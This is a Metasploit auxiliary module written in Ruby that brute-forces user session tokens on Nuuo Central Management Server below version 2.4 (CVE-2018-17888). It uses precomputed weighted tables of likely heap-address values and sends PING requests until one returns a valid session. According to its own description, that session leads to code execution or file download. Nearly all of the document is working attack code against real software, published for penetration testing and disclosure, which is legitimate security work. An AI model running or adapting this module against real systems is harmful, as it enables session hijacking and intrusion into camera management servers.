##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'benchmark'

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::Nuuo
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Nuuo Central Management Server User Session Token Bruteforce',
      'Description'    => %q{
        Nuuo Central Management Server below version 2.4 has a flaw where it sends the
        heap address of the user object instead of a real session number when a user logs
        in. This can be used to reduce the keyspace for the session number from 10 million
        to 1.2 million, and with a bit of analysis it can be guessed in less than 500k tries.
        This module does exactly that - it uses a computed occurence table to try the most common
        combinations up to 1.2 million to try to guess a valid user session.
        This session number can then be used to achieve code execution or download files - see
        the other Nuuo CMS auxiliary and exploit modules.
        Note that for this to work a user has to be logged into the system.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2018-17888' ],
          [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-18-284-02' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-cms-ownage.txt' ]

        ],
      'Platform'       => ['win'],
      'DisclosureDate'  => '2018-10-11'))
    deregister_options('SESSION', 'USERNAME', 'PASSWORD')
  end

  # These tables were generated by doing thousands of requests to a NUUO CMS Server and collecting the  responses.
  # Table id: hex-nu-mod

  # 2621440 total combinations for both 1.X and 2.X versions
  # 2.X versions only have 1048576 combinations, and this table will run through them first
  WEIGHTED_ARRAY_7 =
    ['2', '1'],
    ['4', '6', '5', '7', '8', '2', '0', '1', 'f', 'e'],
    ['1', '6', '0', '8', 'd', '7', 'c', 'e', '2', 'b', 'f', '3', '5', '4', 'a', '9'],
    ['d', '6', '4', '5', 'f', '0', '8', '7', 'a', '3', '1', 'b', 'c', 'e', '9', '2'],
    ['3', 'e', 'f', '1', 'c', '5', '9', 'd', '8', '6', '0', '4', 'a', '2', 'b', '7'],
    ['d', '4', '2', 'b', '3', '6', '8', '1', 'a', '7', 'f', 'e', '0', '9', '5', 'c'],
    ['8', '0']

  # 189000 total combinations
  # Only tested (only applies?) to 2.X versions
  # These are only tried if WEIGHTED_ARRAY_7 fails
  WEIGHTED_ARRAY_6 =
    ['9', 'a'],
    ['7', 'c', '6', 'f', 'e', 'a', 'd', '9', '4', '5', '3', '2', 'b', '0', '8'],
    ['7', 'b', '6', 'd', 'a', '3', '4', 'f', '5', '1', '8', 'e', 'c', '2'],
    ['3', '1', 'c', 'f', 'd', '4', 'b', 'a', '6', '2', '5', 'e', '8', '9', '0'],
    ['3', '6', '7', 'b', 'e', '9', '2', 'f', '4', '1', 'c', 'a', '0', 'd', '8'],
    ['0', '8']


  def session_number_list(weighted_array)
    # Let's calculate all the possible combinations
    length = Array.new(weighted_array.length)
    for i in (0..weighted_array.length-1)
      length[i] = weighted_array[i].length
    end
    counter = Array.new(weighted_array.length)
    for i in (0..weighted_array.length-1)
      counter[i] = 0
    end
    total = 1
    for len in length
      total *= len.to_i
    end

    print_status("Generating #{total} session tokens")
    final_list = Array.new

    # code below taken from https://gist.github.com/Yengas/9010715
    (total).times {
      if weighted_array.length == 6
        final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]]
      elsif weighted_array.length == 7
        final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]] + weighted_array[6][counter[6]]
      else
        # assume size == 8
        final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]] + weighted_array[6][counter[6]] + weighted_array[7][counter[7]]
      end

      # Find value of current combination by concatenating corresponding values of counters in the inner-arrays
      # Then we increment the value of the counter so we go on to the next combination.
      for index in (counter.length - 1).downto(0) # From (counter array's length - 1) to 0
        if counter[index] + 1 < length[index] then # If counter index can be incremented
            counter[index] += 1; # Increment the counter index
            break; # Stop the incrementation/go to the next combination printing/incrementing.
        end
        counter[index] = 0; # Assign current counter index to zero and try incrementing the next counter index.
      end
    }

    full_list = Array.new
    final_list.each { |x|
      full_list << x.to_i(16)
    }

    return full_list
  end

  def session_bruteforce_list(weighted_array)
    list = session_number_list(weighted_array)
    for session in list
      req = client.request_ping({
        'method' => 'PING',
        'user_session' => session
      })
      # module fails when shutdown/close lots of connections
      # create own connection and dont call close
      conn = client.connect(temp: true)
      res = client.send_recv(req, conn)

      @counter += 1
      if res && res.status_code == 200
        return session
      end
    end
    return nil
  end

  def run
    connect
    @counter = 0
    print_status('Bruteforcing session - this might take a while, go get some coffee!')
    session = nil
    time = Benchmark.realtime {
      session = session_bruteforce_list(WEIGHTED_ARRAY_7)
      unless session
        print_error('Failed to bruteforce, trying with the less likely numbers as a last resort...')
        session = session_bruteforce_list(WEIGHTED_ARRAY_6)
      end
    }
    unless session
      fail_with(Failure::Unknown, 'Failed to bruteforce user session.')
    else
      print_good("Found valid user session: #{session}")
      print_status("Time taken: #{time} seconds; total tries #{@counter}")
    end
  end
end
